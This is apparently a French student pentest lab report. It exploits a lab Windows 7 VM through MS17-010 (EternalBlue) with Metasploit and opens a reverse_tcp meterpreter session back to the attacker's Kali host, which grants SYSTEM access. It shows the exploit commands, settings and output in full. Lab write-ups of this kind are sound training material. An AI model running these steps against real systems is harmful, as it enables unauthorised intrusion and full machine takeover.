

Bloc 3 TP 2.5 - Test d'intrusion

Contexte	2
Les vecteurs d'attaque	2
Les machines d'entraînement du sujet	3
La faille MS17-010 (EternalBlue) sur Windows 7	3
L'exploitation avec Metasploit	4
Conclusion	6

Contexte

Ce TP est la suite du **test d'intrusion**. Après la **reconnaissance** (avec **SpiderFoot**) et le **scanning** (avec **Nmap** et **Nessus**), on entame la **Phase III : l'exploitation**, aussi appelée le **gain d'accès**.

Le but est d'utiliser les informations récoltées pour **exploiter une faille** et **pénétrer** le système de la cible : notre victime **Windows 7 SP1 (192.168.56.102)**.

Les vecteurs d'attaque

Pour cette phase, il existe plusieurs **vecteurs d'attaque**. Chacun a ses propres techniques :

- **MITM** (Man In The Middle) : l'attaquant se place **entre** deux machines qui communiquent. Si l'échange n'est pas chiffré, il peut **lire** les informations sensibles et même les **modifier**.
- **Phishing** : envoyer des messages (mails, SMS) pour pousser la victime à **cliquer** sur un lien ou un fichier **malveillant**, ce qui donne un accès à sa machine.
- **Bruteforcing** : essayer **tous les identifiants possibles** pour se connecter à une plateforme.
- **RCE** (Remote Code Execution) : exploiter une **erreur dans le code** d'un programme ou du système pour obtenir un **accès direct** à distance sur la machine. C'est le vecteur que l'on va utiliser.
- **DOS** (Denial Of Service) : noyer le serveur sous un très grand nombre de requêtes pour qu'il ne puisse **plus répondre** aux vrais clients.

Les machines d'entraînement du sujet

Le sujet propose d'abord de scanner deux machines volontairement vulnérables — une **metasploitable** (Linux) et un serveur **Windows Server 2008 R2** — pour repérer des failles exploitables, et il en fournit les rapports **Nessus**.

Notre lab ne contient que **Kali** et la victime **Windows 7** : on ne refait donc pas ces deux scans d'entraînement et on passe directement à l'exploitation de **notre vraie cible**, le **Windows 7**, sur lequel la reconnaissance et le scanning ont déjà été faits aux TP précédents.

La faille MS17-010 (EternalBlue) sur Windows 7

Au scanning (TP précédent), on avait vu que la victime laissait le port **445** (**SMB**, le partage de fichiers Windows) ouvert. C'est le point d'entrée de la faille **MS17-010**, plus connue sous le nom d'**EternalBlue** — la faille que le rançongiciel **WannaCry** a exploitée en **2017**.

Exercice 1 : Vérifier que la victime **Windows 7** est bien vulnérable à **MS17-010**.

Depuis **Kali**, on utilise le module de détection de **Metasploit** (**auxiliary/scanner/smb/smb_ms17_010**) sur la cible **192.168.56.102** :

```
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.56.102:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.56.102:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Le résultat est sans appel : **Host is likely VULNERABLE to MS17-010! — Windows 7 Ultimate 7601 Service Pack 1**. La cible est donc exploitable.

Sévérité de la faille : **Haute (High)**, score **CVSS 8.1**. On la choisit car elle permet une **exécution de code à distance (RCE)** et donne un **accès complet** au système, tout en restant assez **stable**.

L'exploitation avec Metasploit

Pour exploiter la faille, on utilise **Metasploit**, le **framework** de référence des testeurs d'intrusion. On lance **msfconsole**, on choisit l'exploit **EternalBlue** avec **use exploit/windows/smb/ms17_010_eternalblue**, puis on le configure :

- **set RHOSTS 192.168.56.102** : l'adresse **IP de la cible** (la victime Windows 7).
- **set LHOST 192.168.56.101** : l'adresse **IP de Kali** (l'attaquant), sur laquelle la cible va se reconnecter.

Le **payload** par défaut est **windows/x64/meterpreter/reverse_tcp**, qui écoute sur le port **4444**. **meterpreter** est la charge utile la plus utilisée pour l'exploitation et la post-exploitation. Avec **show options**, on vérifie la configuration :

```
Payload options (windows/x64/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.56.101	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
0	Automatic Target

Exercice 2 : Lancer l'exploit avec **exploit** et prendre le contrôle de la victime.

Metasploit fait en sorte que la cible ouvre une **connexion inverse (reverse_tcp)** vers **Kali** sur le port **4444**. On lance l'attaque :

```
[*] 192.168.56.102:445 - 0x00000020 50 61 63 6b 20 31
    Pack 1
[+] 192.168.56.102:445 - Target arch selected valid for arch indicated by DCE
/RPC reply
[*] 192.168.56.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.102:445 - Starting non-paged pool grooming
[+] 192.168.56.102:445 - Sending SMBv2 buffers
[+] 192.168.56.102:445 - Closing SMBv1 connection creating free hole adjacent
to SMBv2 buffer.
[*] 192.168.56.102:445 - Sending final SMBv2 buffers.
[*] 192.168.56.102:445 - Sending last fragment of exploit packet!
[*] 192.168.56.102:445 - Receiving response from exploit packet
[+] 192.168.56.102:445 - ETERNALBLUE overwrite completed successfully (0xC000
000D)!
[*] 192.168.56.102:445 - Sending egg to corrupted connection
[*] 192.168.56.102:445 - Triggering free of corrupted buffer
[*] Sending stage (255678 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 → 192.168.56.102:49158
) at 2026-09-29 17:44:39 +0200
[+] 192.168.56.102:445 - -----
-----
[+] 192.168.56.102:445 - -----WIN-----
-----
[+] 192.168.56.102:445 - -----
-----
```

On voit **ETERNALBLUE overwrite completed successfully**, puis **WIN** : l'exploit a réussi et une **session meterpreter** s'ouvre. On vient d'exploiter la machine à distance.

⚠ Attention : cet exploit peut **échouer la première fois** et, en cas d'échec, **faire planter** la cible. Sur un environnement de **production**, il faut donc être très prudent.

Pour confirmer notre accès, on tape **sysinfo** et **getuid** dans meterpreter :

```
meterpreter > sysinfo
Computer      : WIN7-VICTIME
OS           : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : fr_FR
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > getuid
Server username: AUTORITE NT\Système
```

On contrôle bien la cible : c'est **WIN7-VICTIME**, une machine **Windows 7 (Build 7601, Service Pack 1)** en **x64**. Et surtout, **getuid** renvoie **AUTORITE NT\System** : on a les **privileges les plus élevés** (**SYSTEM**). On peut maintenant manipuler la machine à distance (créer des fichiers, récupérer des informations...).

Conclusion

Ce **TP** nous a fait découvrir la **Phase III** du test d'intrusion : l'**exploitation**. On a d'abord vu les grands **vecteurs d'attaque** (**MITM, Phishing, Bruteforcing, RCE, DOS**).

On a ensuite exploité un **RCE** concret : on a confirmé que la victime **Windows 7** était vulnérable à **MS17-010 (EternalBlue)**, puis on l'a exploitée avec **Metasploit** pour obtenir une session **meterpreter** en tant que **SYSTEM** et prendre le **contrôle total** de la machine à distance.

La prochaine étape sera la **post-exploitation** : maintenir l'accès et récupérer encore plus d'informations sur le système compromis.